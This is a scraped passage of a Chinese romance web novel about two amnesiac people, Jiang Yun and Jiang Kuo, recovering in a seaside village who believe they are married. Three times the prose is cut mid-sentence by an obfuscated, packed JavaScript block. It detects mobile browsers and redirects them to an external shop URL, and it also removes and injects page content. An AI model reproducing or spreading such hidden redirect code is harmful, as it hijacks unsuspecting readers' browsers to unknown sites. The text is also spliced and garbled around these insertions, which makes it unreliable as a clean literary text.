她眯眼瞥他,喉间突然干涩,她缓慢做了两下吞咽动作,津液往下顺流的细小声响在耳边无限放大。 屋子里有片刻的沉默。 江云的视线没有离开,却突然看到他的喉结动了动。 她又不自觉咽了咽口水,脸颊也开始发烫。 江阔的手停在她腿边,试探性开口:“云云?” 江云心脏猛然一紧,往胸壁上轻轻撞了撞。 这男人就这么自来熟吗? 连云云都叫上了? “水凉了就不好了。”男人的声音轻和依旧,不带有一丝催促和责备。 江云稍微动了动身子。 身上好像确实有汗。 她抿着唇,伸手往江阔眼前探了探—— 他是真看不到。 江云妥协了。 “你…你动作慢点,我说可以了你才能动。” 江阔笑了笑,尽管那双最吸引人的眼眸被遮住,但藏匿在举手投足间的柔和又慢慢流溢出来,开始瓦解她的防备心。 他点头:“好,我都听你的。” 江云侧着身,带着他的手停在腰线,温热的指腹停在腰间,江云的唇抿得更紧,确认好了之后才吞吞吐吐道:“你…你脱吧。” 柔软的布料一点一点离开身体,房间里有晚风吹进来,不凉,反而掀起一股燥热。 江云的视线一刻不离地盯着男人的动作,生怕他逾矩。 等双腿完全没了遮挡,他又弯下腰去,摸着热水盆,把里头浸泡的干净毛巾拧干,帮她擦拭。 “右腿是没有伤的,我就直接擦了?”男人问。 江云双手抱胸,手指紧攥着上衣衣角,快速嗯了一声。 她的脖颈也跟着发热,吞咽动作愈发频繁。 好在整个过程中,江阔的动作都很轻。 尽管蒙着眼,他也擦拭得很仔细,毛孔残留的黏腻很快消失,江云觉得清爽了不少。 等腿擦干净了,江阔把脏毛巾先放在了一边,摸索着把床尾的干净裤子拿过来。 “这些都是干净的,这个…也是我前几天拜托萍姐买的,已经提前清洗过了。” 他说后半句话的时候,手里拿着那条干净的浅色底裤。 “……” 江云的五官下意识挤在了一起,气息屏住,脸颊完全憋红了。 “我帮你穿?”江阔拿起来,往她脚边送。 “我自己来!”江云猛地缩回了腿,腿上的骨骼和肌肉同时抗议,她微颤着惊呼了声。 江阔的手几乎立刻追上来,不偏不倚地抓稳了…… 她的大腿。 “你……你松开!” 江云的身体开始发抖,嘴边溢出一声短促的惊喘。 身体里的水分快被冒出来的热意蒸发干了。 “抱、抱歉…我不是故意的。”江阔的嗓音里卷入一丝急促,他松开手,悬在她身侧,不前进也不后退。 江云咬着牙,从他手里抢过裤子,迅速套好。 滞后的痛感飞速席卷,鼻头和眉间拱出的褶皱更加明显。 她重新瞥向男人,一双红透的耳朵率先占据了她的眼眸。 江云揉着腰,慢慢平复呼吸。 江阔停顿两秒,又问:“要继续吗?” 江云往胸口瞟了眼,再没了一丝动摇,直接扯掉江阔眼上的纱布,说:“我就擦后背。” 陡然恢复清明的江阔肩头一颤。 两双眸子瞬时撞上,又同时往旁边躲开。 江阔重新站起身,两只胳膊像是被拆卸重组一般,不太协调地放好毛巾。他清嗓,点头应好。 和他给她上药时完全不同,擦拭她后背的力度时轻时重、时慢时快。 江云的下巴用力抵着胳膊,完全没有要挑剔的意思。 “这衣服……”江阔擦完,拿着干净的上衣问她。 “我自己来!” 她的上衣是前扣式的,脱下来不难,江阔买的也是一样的,穿起来也还算方便。 江阔完全顺从,说自己去倒水,又拿走了她换下来的脏衣服。 简简单单的一个擦身子,江云却仿佛跑了半场马拉松。 面红耳赤不说,心脏也跳得异常。 她迅速穿好衣服,长舒了口气。 她突然有些好奇,她失忆前和江阔是怎么相处的? 光是脱个衣服就这么害羞了,那要是干点别的…… 没来得及往下想,门口被人敲了两下。 江阔回来了。 江云及时收住乱飞的思绪:“我换好了,你进来吧。” 进来时,江阔手里多了她熟悉的中药。 又到了喝药的时间。 江云下意识发怵。 这药实在太苦。 “喝了药睡觉?” 浓烈的中药味强势又凶猛的铺满了整个房间,江云蹙起眉,瘪唇睨着碗里深褐色的药液,浑身都写满了抗拒。 “我不想喝。” “喝了才能好。”江阔把蜜饯也一起拿了过来,“苦就用蜜饯压一压,等你伤好了能下床了,我们才能离开。” 他循循劝说,江云根本没有拒绝的理由。 他还是把药吹得不那么烫了,再喂到她嘴边,等她受不了苦味了,又喂一颗蜜饯。 苦甜交织,江云想干脆一点,尽量忍着中药的苦,少吃一点蜜饯,然而她到底高估了自己。 连着喝了小半碗药,苦味几乎占据了整个口腔,连带着食管也往上反着余涩。 江云吞下最后一口药,忍不住捂嘴咳嗽,另一只手也失了控制,无意往旁边抓了一下。 不小心抓到江阔的腰腹。 她听见男人闷哼一声,身体轻轻颤了颤。 江云迅速收回手,想开口却被浓苦禁锢。 是江阔先给她喂了蜜饯。 难受的感觉被压了下去,她才重新往他的腰腹看过去。 “你的腰上有伤口吗?” 他的反应和她疼起来实在太像。 江阔侧了侧身,继续手里喂药的动作,仿佛什么都没发生过。 “没事,我的伤还好。” 江云喝下了药,抬眸时,他却悄声绕开视线。 碗里的药见了底。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958100|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江阔正欲收拾桌上的东西。 江云突然抓住了他的小臂。 “给我看看。”江云头一回直勾勾地对上他的眸,语气里多了几分强势。 她自己都觉得陌生。 江阔很清楚她在说什么,只是有意回避:“我真没事。” “江阔。” 她出于本能地压低了声音,不仅是江阔,她自己都听得一愣。 有些严肃,也不容拒绝。 江阔垂眸停顿了片刻,还是听了她的话。 他也没看她,就那么撩起了身上的黑色短袖下摆,露出腰腹横着的一道伤口。 伤口很长,才有结痂的趋势,伤口周围还残留有药膏的痕迹。 江云几乎瞬间皱眉,又瞟了眼江阔,很想说点什么,却又不知道该怎么说。 又想起下午萍姐说的那些话。 心底五味杂陈。 思绪也有些乱了。 然而就在她出神的那几秒,江阔悄然挣开了她的手,迅速收拾完桌上的东西,出去了。 “……” 江云不知道自己以前和他相处的时候有没有察觉到他的‘沉默’。 沉默着做完一切,沉默着让所有的事最后变成‘理所当然’。 她低头攥着崭新的衣角,心口好像有些闷。可同时又发觉,最初醒来的那种空虚又少了点。 …… 月牙洒下的皎洁暂时带走了这片村庄的热潮,添了几分凉意。 江云侧躺在床上,毫无睡意。 江阔背对着她睡在地铺上,肩头微微颤动。 她尝试着回忆过去,脑子里却空空如也。 此刻能想到的事情,几乎都和江阔有关。 他到底为什么能够做到无条件的对她好?又为什么能倾尽心力照顾她? 换位思考,她不觉得她会照顾一个从别人那里听说的陌生老公,也不会准时帮他熬药、喂药,更不会给他洗衣做饭。 图财?可她的手机坏了,也没有钱包,况且江阔自己的手表都不便宜,他应该不缺钱。 图色?可他又时刻保持着分寸,还说什么都听她的。况且他也有几分姿色,真的想要应该也不会缺。 江云想不明白。 仅凭这两支‘定情信物’和萍姐的猜测便相信他们是夫妻,到底是江阔太天真,还是她自己的疑心太重? 江云直愣愣地盯着那道背影,逐渐想出了神。 一直到江阔转身。 “睡不着吗?” 四目在一片昏黑中清晰相撞。 江云迅速收回了视线。 她心虚地瞟向天花板,语气也跟着虚浮:“有点。” 江阔突然坐起了身。 “想不想听曲?”他突然问。 “听曲?”江云重复了一遍,没太懂他的意思。 她拿起那两支竹音哨晃了晃:“这俩也吹不响啊。” 江阔没说话,直接起了身,不知道从哪儿拿了一个尤克里里。 他没开灯,只是把窗户开了条缝,月光照进来,足够他们看清彼此。 他解释:“这是萍姐的女儿给我们的,说无聊的时候可以弹弹。” “你还会这个?”江云稍稍诧异。 她好像没有对乐器熟悉的记忆。 江阔轻笑一声,“应该是会的。” 话音落下,骨节分明的手指在不算大的乐器上适时拨弄,舒缓的曲调自然淌出。 她好像知道这首曲子。 天空之城。 眼前的人稍稍低头,又时不时看看她的反应。 月色柔和了几分,他也被月色浸染。 江云心底的防备又消失不见。 她突然开口:“江阔。” 不似之前的严肃,反而如这清和的月光。 眼前的人动作未停,只是抬起头:“嗯?” “你为什么愿意这样照顾我?我们现在…应该是陌生人才对。” 5. 04 曲调戛然而止。 尤克里里安静地躺在他的臂弯里,一动不动。 视线交缠了很久,耳边除了此起彼伏的海浪声,什么都听不到。 不知道过了多久,江云猛地抽开视线,再多一秒,她就要被拽进那道漩涡里。 他终于动唇:“我们不是陌生人,我们是夫妻。” 江云看着他,手指无声缠绕。 两秒后,她还是开口:“可还没有证实,我们并没有看到证件。” 江阔又沉默了。 江云的手指松开,半垂的眼皮挡住了眸中的光点,唇线轻轻收紧,逐渐抿直。 话语经过几秒钟的酝酿,即将冲至嘴边。 江阔突然嗤笑。 仿佛尤克里里弹出的曲调,轻松柔和。 “我明白,对于失去过往所有记忆的我们而言,身边突然多了一个陌生的妻子或者丈夫,诧异是肯定的。” 江云把话吞了回去,选择听他继续说。 江阔说,他那天醒过来得知还有一个她的时候也很诧异,他也什么都不确定,手机坏了,也没有证件,身体还出了问题。 也许换做是谁,都会第一时间去报警,然后快速联系家人。 可萍姐带他去看了尚且昏迷的她,还有那两支牵绊他们的竹音哨。 “云云,其实…我和你一样,没有十足十地确定我们就是夫妻,可事实证明,我们一定是有关系的,既然有关系,我就应该照顾你。” 江云愣了愣,暗自腹诽:原来他是真的天真。 江云没打断,继续往下听。 “我不记得是谁和我说的了,或许是我的母亲?说做人要有一颗最基本的责任心,尤其是男人,自然给了男人宽阔的肩膀,是需要男人稳稳当当地背负起应尽的责任,或许我们真的是夫妻,也或许我们只是普通情侣,但只要我们有关系,我就对你有责任。” 江云默默移开视线,手指放在嘴边,轻轻咬了咬。 心想:他应该不是天真,是纯真。 江阔又挠了挠头,咧开唇,露出白齿。 江云好奇抬眸,又微微蹙眉。 她不懂他在笑什么。 他说:“而且我觉得在失忆之前,我一定很爱你。” 江云的气息霎时一凝,心口紧了紧。 他咧唇的幅度更大:“因为你就是我理想中的爱人,从那套西装来看,我想你或许是个事业型女人?性格好、长得也很漂亮,也许是身体的本能记忆,我觉得我们肯定是一对恩爱的伴侣。” 江云暗暗咬住唇肉,双颊也悄悄使力。 心底兀自嗤笑:他还是个恋爱脑。她才醒了两天就觉得她性格好了?对她的滤镜居然这么重?她失忆前是看中了他的恋爱脑吗? 不过他倒是个有责任心的恋爱脑。 江云又不动声色地打量他一圈。 她稍稍心虚:他说的感觉她几乎都没有,对他没有滤镜,身体本能最多也就不排斥他。 充其量她也就觉得他有几分姿色,说话温温柔柔的,还算体贴,做饭确实是好吃。 至于爱不爱的,她是真不记得,也没有很强烈的感觉。 她的视线停留太久,他几番对上来,双眸眨得越来越快,他摸着自己的耳钉,问:“有什么问题吗?” 江云收回目光,唇边掀起一抹浅笑,摇头:“没有,我想继续听曲。” 曲调又继续回荡。 江云撑着下巴,视线落在他的耳钉上,眼眸微微眯起,悄然掀了掀唇。 …… 两天后,老张过来给两人送药、复诊。 老张给两人把了脉,又给江云扎了针灸。 “可以试着下床活动活动,不过还是要注意不要运动过度,药要按时吃,饮食尽量清淡,都是年轻人,身体底子还是很不错的,好好休息就能恢复。” 老张收好了针灸针,嘱咐了两句也准备走。 “多谢您。”江阔道了谢,把人送出了门。 鉴于江云实在想下床活动活动,老张也说了可以,江阔答应她等吃完午饭就带她去海边走走。 午饭依然是江阔做的。 房间中央的圆桌上摆着两菜一汤。 板栗炒鸡、清炒木耳,还有江云熟悉的百香果酸汤牛肉。 江云这几天吃的饭基本都是江阔亲自动手,他说这是为了她的伤口专门定制的菜谱。 看着桌上色香味俱全的食物,江云的肚子早就忍不住咕噜叫了,屋子里也只有她和江阔两个人,就没那么在意礼节了。 鲜嫩的鸡肉炒得刚刚好,不柴不老,几乎没什么骨头,木耳加了点醋,酸酸咸咸的十分爽口,不过最好吃的还是那道色泽味均诱人的酸汤牛肉。 滑嫩的牛里脊堪称绝佳味蕾享受,江云一口一口咀嚼,肩膀不自觉跟着晃动。 实在是喜欢。 “江阔,我以前一定是看中了你的做饭能力!” 话语飞速从嘴里蹦出来,江云头都没有抬一下。 身侧的男人发出很轻的一声哼笑,又给她盛了碗汤:“你喜欢就好。” 江云喝了口汤,双眉肆意舒展开,舌尖拼命留住恰到好处的酸甜。 第一次吃的时候她还没有那么喜欢,后来每吃一次,这个味道在脑海中的印象就会加深一次,然后逐渐开始想念,最后想要一直吃。 “我听萍姐说这个汤是洱南的特色,那我们会不会就是洱南本地的人啊?” 江阔却摇了摇头:“其实我不会做这道菜,是看萍姐做过一次,跟着她学来的,只不过我放的百香果比较少,又事先把牛肉在油锅里滚过一回,所以味道可能会特殊一点。” 江云听不太懂这里头的门道。 “虽然不确定我们是不是洱南人,但我还挺喜欢这里的。”江阔的视线停在她身上。 江云身心都投入在桌上的美食,没有回答他。 …… 肚子填饱了,江云就很向往外面的世界了。 江阔把桌上的东西收拾完,原本是打算让她午休一会,可江云不干。 “我不困,我们现在就走!” 江云头一回主动抓着他的手,不停催促。 江阔耳根子软,拗不过她,还是乖乖带着她出了门。 江渔村依傍洱南市唯一的大海,生活在这里的人远离喧嚣,基本日出而作、日落而息,自给自足,与外界接触的少,生活得无忧无虑。 小孩都去了镇上读书,一部分年轻人出城打工,留在村里的大部分是老人,以及想回来过慢节奏生活的年轻人。 “这里倒是很适合隐居。”江云松开江阔的手,直接往沙滩上坐。 温和的阳光没有很晒,洒在身上很舒服,风声裹挟着海浪一起往脸上扑腾,江云轻轻眯着眼,望向看不到边际的远方。 江阔在她的左侧坐下,又拧开了他提前带的水:“等咱们以后老了,可以考虑来这养老。” 江云稍稍一愣,接了水,只喝了一小口。 视线不露痕迹地扫过身旁的人一眼,她轻哼:“养老还早着呢。” 他们连过去都不记得,谈未来,实在是太遥远。 江云又躺了下去,身体在这里得到了放松,思绪却没能完全松懈。 心里的空虚又重新爬了出来。 是啊,她都不记得过去,还怎么畅想未来呢? 不记得自己的名字、不记得自己是做什么的、不记得任何一个亲人,也忘了喜欢的人。 眼前的阳光突然有些刺眼。 江云下意识咬了咬唇肉,一阵细微的痛感蔓延,她突然问:“江阔,你说我们以前是怎么认识的?” 目光却停留在湛蓝无云的天空。 余光瞥见身侧的人转头,熟悉的声音紧随其后:“不知道,也许是因为工作认识?又或者我们是青梅竹马?再或者我们是同学?” 能恋爱的情况,无外乎也就那几种。 江云没有很快出声,脑海中料想了这几种可能,唇角轻轻往上勾了勾。 “也许吧。” 她又问:“那你觉得我们在一起,是谁追的谁?” 这个问题江阔回答得很快:“我追的你。” 江云稍稍意外:“这么肯定?” 她侧头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958101|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过去,熟悉的深褐色瞳眸泛着少许亮光,让人一时难以移开眼。 他的眉眼弯起,唇边漾出柔和的笑意,正如身旁被暖光浸润的海浪。 他说:“你这么好,我又不傻。” 江云的唇几不可察地抿了抿。 他的恋爱脑又发作了。 然而此刻的她却意外被黏在他的视线里,也不知道该说些什么。 突然安静了下来。 那双剔透的眸子好像又柔和了些,从里头沁出千万缕绵风,抓不住,却能清晰感受到那股和煦。 江阔的脸凑近了些。 他的视线也跟着动了动,不再单单定格于她的眼前,而是悄然往下移。 江云说不清,却感受到了他们之间变得有些奇怪的氛围。 他又凑近了些。 江云却突然收回了目光,眼底重新落入一片湛蓝。 不同的是,这一次的湛蓝中夹杂了几朵白云。 江云有些生硬地转了话题:“天空好美,还有了几朵云。” 身旁的人也回眸望上空看,他应和:“是很美,天高海阔,云卷云舒。” 她知道,那是他们名字的由来。 不过她没有接话,只是一味地盯着长空,藏在右侧的手指悄悄在掌心印着月牙。 …… 太阳逐渐西落,江云也在外面待够了。 他们去了萍姐那里,打算跟人打个招呼,然而刚进门,萍姐抹眼泪的动作先撞进了视线里,那双算不上宽阔的肩小幅颤抖着。 两人相视一眼,同时上前。 “萍姐,发生什么事了吗?”江云问。 萍姐见两人过来,三两下抹掉眼泪,扯了扯唇,笑意却在短暂停留后僵在了嘴边。 江阔拉开凳子让江云先坐下,又朝萍姐开口:“萍姐,您不介意的话就跟我们说说吧,在您这住了这么久,您有什么忙需要帮我们肯定帮。” 他的话像是压死骆驼的最后一棵稻草,萍姐的背瞬间弯了下去,哭出了声。 断断续续的抽噎声和安慰声交错,两人终于摸清了缘由:萍姐和女儿大吵了一架。 因为萍姐的女儿跟村里的一个男人在一起了。 萍姐自然不是反对女儿恋爱,只是那个男人家里和萍姐家里有着不可磨灭的恩怨。 三年前,一直给萍姐饭馆供给海鲜河鲜的江远家出了纰漏,导致在萍姐这里吃饭的人食物中毒,昏迷不醒,受害村民的家属过来讨说法,然而萍姐一直忙着调查真相,守着饭馆的萍姐父亲独自应对,结果没能应付得了,突发心梗,没能救回来。 后来证实是江远家养海鲜的水质出了问题,还了萍姐的清白,然而萍姐的父亲就那么死了。 自此,萍姐再也没跟江远家来往。 和萍姐女儿在一起的,就是江远的儿子江醇。 “晴晴说什么都要跟他在一起,真是造孽呀……我不同意,她就跟我吵架,她舅舅刚刚过来把她接走了,也不知道能不能劝得动她……”萍姐不停抹眼泪,声音近乎哽咽。 江云抿了抿唇,没能找到合适的话说出口。 这说到底是萍姐的家事,他们两个是外人。 江阔也没开口。 只是递纸给她。 萍姐说归说,其实也就是在两人面前稍稍宣泄一下情绪,不快吐出来了,她只吸了吸鼻子。 又说:“我就是…想发发牢骚,这事你们不用管,你们身体还伤着,好好休息就够了。” 两人没扔下萍姐不管。 饭馆提前关了门,江阔做了晚饭,江云一直陪着萍姐聊天,看着萍姐吃了饭,情绪稳定了些,两人才回房。 洗漱过后,江云半倚在床边,嘴里还嚼着蜜饯,压下了药苦味。 江阔进了屋。 她的视线莫名跟着他转,一直到床旁的地铺。 “怎么了吗?”江阔很难不注意到她的视线。 江云把甘润的甜吞尽,抛出去的眼神并没有完全聚焦,半虚半实地望着他。 她突然问男人:“江阔,你说还有没有一种可能,我们是因为恩怨相识的?” 6. 05 “怎么会?”江阔几乎是立刻给了否定的答案。 “的确有可能啊,没准我们是仇人呢?”江云是听了萍姐女儿的事情后,对下午她和江阔相识论的回忆猜想多了一个想法。 毕竟没有确切的答案,眼前的例子自然而然就会进入大脑,成为想象的可能之一。 江阔从地铺起身,直接朝着床这边走来。 不等江云反应,他人已经坐在床沿,两只眸子直勾勾地对过来,语气也比寻常要认真一些:“如果我们是仇人,我应该是不会对你产生感情的,可是我在见到你的那一刻就感觉到了我对你有感情,身体本能是不会骗人的。” “……” 江云没想到随口一句的猜想会换来他如此直白的表达。 老实住在胸腔里的心脏悄悄乱了节拍,她的眉心抽了抽。 他到底有怎样的一种身体本能? 她怎么就是感觉不到呢? 难道这种身体本能只有恋爱脑才会有吗? 江阔陡然打断她的沉默,拿起枕边的两支竹音哨,语速稍快,脸上的柔光也收敛进去:“如果我们是仇人,又怎么会有专门定制的定情信物?” 注意力移到了江阔手里的竹音哨上,江云的舌头抵了抵上颚,顺势阻断了原本的思绪。 大脑再次运转,江云摸了摸唇,发出两声干笑,迅速跟恋爱脑解释:“我随口一说,毕竟确实有很多种可能嘛。” 他依旧直勾勾地望着她。 又主动牵了她的手,裹在手心,像是忘了‘逾矩’这两个字怎么写,始终不愿意放开。 “你……”江云往回抽手,他却捏得更紧。 “云云,我相信自己的感觉,我们之间,一定不会是错误的感情。” 他说的每一个字都像是被注入了来自灵魂深处、那种所谓‘身体本能’的记忆,熟悉的柔和之外又带了几分真切。 她手上的力又松懈,没了挣脱的意思。 他微凉的手指嵌入她的指缝,最后停在她的掌心。 有点痒。 手心相连,心口也有点痒。 她突然笑了。 是啊,如果他们真的有仇,别说是他,她绝对看都不会看他一眼,又怎么可能跟他有定情信物? 如果他们真的有仇,她或许就会有他说的那种身体本能了,不过是排斥他的本能。 可她并不排斥他,她只是忘记了自己的感情,一时无法完全接受他。 她拍了拍他的手背,语气比刚才多了几分认真:“我真不是那个意思,别往心里去,没准我们还是人人称羡的模范夫妻呢?” 这话是江云专门安慰恋爱脑的,也确实有用,话音刚落,江阔被敛住的柔光再次泄出,深褐色的眼珠目标明确地落入她眼中。 架势太凶猛,江云默默移开了视线,又收回了手。 江云的手在了一起,江阔又靠近了些,勾起竹音哨的绳子,往她脖颈边凑。 他说:“既然是定情信物,就好好戴着,好不好?” 话音落下时,那条细绳已经成功攀附在江云颈间。 她低头,浅青色的暖玉在灯光下盈出几分柔光,被印刻在尾端的字母清晰映入眼底。 江阔说,这个‘y’是放在她的口袋里的,属于她。 她又抬眸,男人的视线恰好从她的颈项收回,四目无声相对,深褐色的眼珠里藏着几分期待。 江云答应了。 江阔又麻溜地给自己戴上,唇边的笑意漾得更深,宛若绵延不尽的海浪。 “很漂亮。”他捏着颈前的竹音哨,笑得沉溺。 江云本想赶他回地铺睡觉,可男人尚且在情绪高峰,她悄然被他的情绪牵动,大脑成功接收信号,开始分泌多巴胺,心底轻松的愉悦渐渐往外蔓延,填补了原本的空虚,连身体的痛感也跟着减轻。 江云变了话口:“我还想听曲。” 男人兴冲冲抬眸,眼底奔涌着无数亮光,他答应得十分爽快:“好!” 尤克里里重新躺回了熟悉的臂弯,乐弦配合着男人的手指,流淌出悦耳的曲调。 江阔很专注,稍稍俯首,周身透着一股清润的温柔气息。 江云先是被他的耳钉吸引走了目光,可渐渐的,视线便挪到了他的脸上。 恋爱脑的姿色确实不错。 她捏上了颈前的竹音哨,神色逐渐放松,唇边挑起了不浅不深的弧度。 看在他如此细心照顾她的份上,就答应他这个不算太过分的要求吧。 …… 萍姐女儿回来了,江云和江阔恰好在店里陪萍姐吃饭。 江晴抿唇进屋,眼角还残留着几抹湿红。 她捏着衣角,站定在萍姐跟前,声音稍稍哽咽:“妈,我会跟江醇分手的……” 萍姐几乎是瞬间把女儿抱进怀里,抽噎接踵而至,她靠在女儿的肩头:“晴晴乖,这个世界上适合你的男人多得是,只要你想,妈妈一定给你找一个最好最好的男朋友……” 江晴抱着萍姐不说话,眼角又开始往外沁着眼泪,江云牵着江阔,把人带了出去,把空间留给母女俩。 “我们往那边走走吧。”江云指着远处的海滩。 他们昨天只在近处转了转。 脚步踏在柔软的沙滩上,咯吱咯吱的声响伴随而至。江云始终望着前方,披散在肩头的长发随风轻轻扬起,她迎着风,眼眸半眯。 难得的,她今天一直牵着江阔,哪怕紧贴的掌心已经沁出一层薄薄的汗,她也没有松开的意思。 脑海中的画面一直停留在萍姐和女儿的神色与对话上。母女俩相拥的那一刻,她清晰地看到了江晴眼底的挣扎与矛盾,作为一个尚且不完全懂爱情的女人,她不知道自己有没有会错,只觉得江晴是不想分手的,但她还是选择了站在母亲这边。 她也说不太清此刻心底的情绪。 替江晴觉得可惜?倒也谈不上,她根本不了解江晴和江醇的爱情。 是又联想到了她自己和江阔? 是,也不是。 和昨晚的感觉差不多,又不完全像。 算是一种记忆的传输与联想,可隐隐的,还冒出了一丝担忧。 她不知道那种担忧是什么,只感受到了这股担忧带来了和失忆功效相同的空虚。 她需要一点外界的力量来支撑她,才足以减轻那种空虚。 海面铺陈的碎金不断刺激着她的瞳眸,可江云一直没有移开眼,心底生出莫名的执意,要和海面对峙。 是江阔陡然打断了她的坚持:“云云,你看前面,居然有棵树。” 江云收回视线,顺着江阔指的方向看去。 前几天她听江阔说过,这一片海域都没有种绿植,只有江渔村的另一侧街道种了一排银杏树。 他们已经走到了相当偏僻的海域。 这棵树从沙滩里冒出来,树干不算粗壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958102|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也能抵挡海风,树叶迎风摇曳,发出簌簌的声响。 颇有几分‘遗世独立’的味道。 江阔拉着她去了树荫下,“在这歇会,这还能遮阳。” 江云靠在树干上,江阔贴心地给她递了水。 他又说:“这树还真特别,能在这么偏僻的地方顽强生长。” “顽强是挺顽强,不过也很孤独吧?”江云喝了口水,下意识接话。 清凉的水顺着食道往下,她恍然一顿,心底突然冒出奇怪的感觉。 只是来不及深想,江阔又说:“孤独?确实有点,那等我们离开这里之后,再弄一棵树过来陪它怎样?” 江云没想到这人的思维会如此跳跃,她嗤笑:“你怎么不干脆回家里种两棵树?弄到这里也没人照料吧,树不都死了吗?” “在家里种也可以啊,到时候买个独栋别墅,就种在院子里,左右各一棵,左边的就叫江云,右边的就叫江阔。” “……” 这人已经恋爱脑晚期了。 江云想换个话题,江阔却还在继续畅想。 他往她身边凑近了些,问:“你说我们的家会是怎样的?客厅是不是摆满了我们的照片?我们的衣服是不是对半收纳在衣柜里,浸染同一种气味?浴室是不是摆着成对的洗漱用品?房间是不是还有更多我们一起买的小摆件?” 他的身体稍稍往她身侧倾斜,她稍微转眸,就能看清他隐隐泛红的耳尖,以及嘴边温柔的弧度。 比他的耳钉还要吸睛。 江云原本是想打断他的,却意外陷进他的神色中,大脑不受控的跟着畅想。 他们的…家? 男人的话语依旧未停,延伸得越来越远:“我是不是也常常在家弹曲子给你听?是不是会做你喜欢的菜?我们是不是会互相准备生日惊喜?” 他滔滔不绝,仿佛要把过去的未知用无尽的想象填满。 只可惜,江云对于过去,一点都想不起来。 “我都不记得生日是什么时候了。”她的情绪远不及他那么高涨。 江阔骤然侧眸,手臂下意识从她身后绕过去,宽阔的手掌停在她的肩头,把她揽在了怀中。 “没关系,总有一天会想起来的,不记得生日,我们就过别的纪念日。”他的动作虽然逾矩,却是温和的,就像柔软的羽毛,轻轻扫过,停下浅浅的痒,却又不遭人反感。 江云只是有些许讶异,却没有躲避,更没有推开,甚至顺着他的话问下去:“别的纪念日?” 她的不拒绝对于江阔来说就是莫大的惊喜,男人笑得更灿烂,身体里的甜蜜已经藏不住,毫不掩饰的往外翻涌。 他点头:“是啊,比如你醒来的那天,那是我们失忆后第一次相见的日子,还有失忆后我第一次喂你吃药的日子,第一次弹曲给你听的日子,第一次做饭给你吃的日子。” 他稍作停顿,身体贴紧了些,接着补充:“还有今天,是你第一次牵我的手的日子,以及…我第一次抱你的日子。” 他说到最后时,他们的视线已经胶着在了一起。 江云从他的眸中清晰探到了他的羞赧,他的耳朵比那晚帮她擦身子时还要红。 江云身侧的手又在掌心印起了月牙,胸口的那颗最重要的脏器跳动的幅度突然变得强烈,她的睫毛不受控地闪了闪。 下一秒,江阔带着微微颤意的声音入耳:“云云,我能不能…真正抱抱你?” 7. 06 江云暗暗咽喉,指甲几乎嵌进掌肉。 江阔在等。 一分一秒流逝,他足够有耐心。 哪怕他的耳朵已经红透,哪怕红晕有朝着脸颊和脖颈蔓延的趋势,哪怕他的气息已经不稳。 他的紧张愈发外显,江云的手反而松开了。 她的唇浅浅一弯,主动勾起臂弯,绕到他的背后,轻轻收紧。 她的动作即是答案。 被她抱着的人身体明显绷直,浑身的肌肉有一瞬的缩紧,却又很快放松,两只紧实有力的手臂包揽了她大半腰背。 江云心底的空虚突然没了踪影。 一股柔和的充实感刹那填满她的心窝。 安全感十足。 脑海中乱窜的思绪仿佛收到了什么指令,全都安分下来,就连莫名生出的担忧与不安也被扫荡殆尽,难见踪迹。 她竟不知道江阔的怀抱有如此魔力。 江云攀着他的背脊,迟迟没有松手。 她突然觉得,这种感觉有点熟悉。 难道这是她所谓的‘身体本能’吗? 她是需要和江阔有身体接触才能感受到吗? 唇边的弧度不自觉加深,从他身上渡过来的温度和气味逐渐平扫了她皮肉上停留的痛感,江云肩口一松,双眸本能地合上,感官细胞试图抓住内里涌动的多巴胺。 她背后的手臂悄然收紧,颈间绕进了他深浅不一、频率不稳的气息。 颈口的竹音哨也跟着贴在了彼此的肌肤上。 江阔一句话都没说,只有温度逐渐攀升,迅速将她包绕,从皮肤沁入,蔓延至心尖,顺着每一次泵血填满整颗脏器。 足够让她卸下防备,也足够让她感知到真实的此刻。 江云的唇瓣受不住大幅的弧度,露出了一条缝隙,这些天一直裹在心里的那团气终于从嘴里吐了出来。 她干脆收紧双臂,最后把头埋进他的肩窝。 至少他带给她的安全感是真的,至少他对她事无巨细、体贴妥当,至少他们的竹音哨不会骗人,至少他能让她心生愉悦,至少和他在一起的每一刻都是真实的。 她既然已经失去记忆,又何必再猜想那些根本不确定的可能? 在她醒来那天他就说过了。 他是她的丈夫,江阔。 她是他的妻子,江云。 …… 江云和江阔在走廊分开,往两个不同的方向走。 江云打算回房,而江阔去了萍姐那里帮忙,顺便做晚饭。 出去一趟,江云的精力也消磨得差不多了,她想回房歇会,却意外碰见在露天小院发呆的江晴。 江云停了脚步。 江晴或许是太投入,完全没注意到不远处的江云。 江云却主动上前。 